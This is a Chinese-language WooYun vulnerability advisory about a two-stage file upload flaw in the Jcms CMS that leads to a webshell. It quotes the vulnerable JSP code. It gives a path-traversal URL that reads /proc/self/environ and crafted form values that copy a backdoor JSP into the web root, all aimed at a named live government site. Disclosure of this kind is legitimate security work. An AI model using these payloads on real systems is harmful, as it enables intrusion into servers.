当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-079069

漏洞标题:大汉网络Jcms二次上传Getshell

相关厂商:南京大汉网络有限公司

漏洞作者: 矿主

提交时间:2014-10-12 15:48

修复时间:2014-12-30 14:44

公开时间:2014-12-30 14:44

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-12: 细节已通知厂商并且等待厂商处理中
2014-10-13: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-12-07: 细节向核心白帽子及相关领域专家公开
2014-12-17: 细节向普通白帽子公开
2014-12-27: 细节向实习白帽子公开
2014-12-30: 细节向公众公开

简要描述:

大汉网络Jcms二次上传Getshell.

详细说明:

这段程序漏洞的逻辑比较复杂,
下面代码分析:jcms/m_5_e/module/opr_updatemodule.jsp

... ...
//上传文件
CommonUploadFile upload = new CommonUploadFile( strTemp ,null);
upload.uploadFile(request);
String[] strFileName = upload.getAllFileName();
que_hiddenvalue = upload.getFormValue("que_hiddenvalue");
... ...
//两个参数,通过表单获取。
modalType = upload.getFormValue("vc_modaltype");
int i_updatetype = Convert.getStringValueInt(upload.getFormValue("c_updatetype_hid"));
... ...
/*将文件解压到解压目录*/
zf.unzip( true,strTemp + strFileName[0],strUnzipFile );
... ...
//设置表单c_updatetype_hid=1,进入此判断
if (1 == i_updatetype || 0 == i_updatetype){
//第一次上传modalType为空,上传文件被解压到strUnzipFile,拷贝到strModalPath,但是strModalPath不在web目录中
//第二次上传modalType设置为web目录,解压目录strUnzipFile+modalType的路径就会不存在,所以第一次上传为的是先把文件放上去
//第二次把已经上传好的文件,拷贝到strModalPath + modalType构造的web目录,就ok了。
bl = blf.updateModuleFileToWeb( strModalPath + modalType +"/",strUnzipFile+modalType+"/" );
}
... ...

漏洞证明:

首先通过文件读取漏洞获取web目录
http://news.jc.gansu.gov.cn/jcms/jcms_files/jcms1/web1/site/module/oss/downfile.jsp?filename=a.txt&pathfile=media/-1/....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//proc/self/environ

clipboard.png


得到web目录:
CLASSPATH=/soft/tomcat/bin/bootstrap.jar
/soft/tomcat/webapps/jcms/
第一次构造上传
http://news.jc.gansu.gov.cn/jcms/m_5_e/module/opr_updatemodule.jsp
编辑表单 c_updatetype_hid = 1

clipboard.png


构造zip包: soft.zip 目录结构如下:j.jsp为后门文件。(必须满足这个结构才能上传成功)

clipboard.png


点击上传,上传文件解压后存在于wei目录之外。
第二次构造上传
http://news.jc.gansu.gov.cn/jcms/m_5_e/module/opr_updatemodule.jsp
编辑表单
c_updatetype_hid = 1
vc_modaltype = ../soft/tomcat/webapps/jcms/ 使用上面得到的web目录

clipboard.png


第二次上传同一个zip包,这次上传其实是无效的,
目的是通过vc_modaltype传递web目录,
将第一次生成的文件拷贝到web目录中。
访问http://news.jc.gansu.gov.cn/jcms/j.jsp GetShell

clipboard.png

修复方案:

严格限制上传文件名。

版权声明:转载请注明来源 矿主@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-30 14:44

厂商回复:

最新状态:

暂无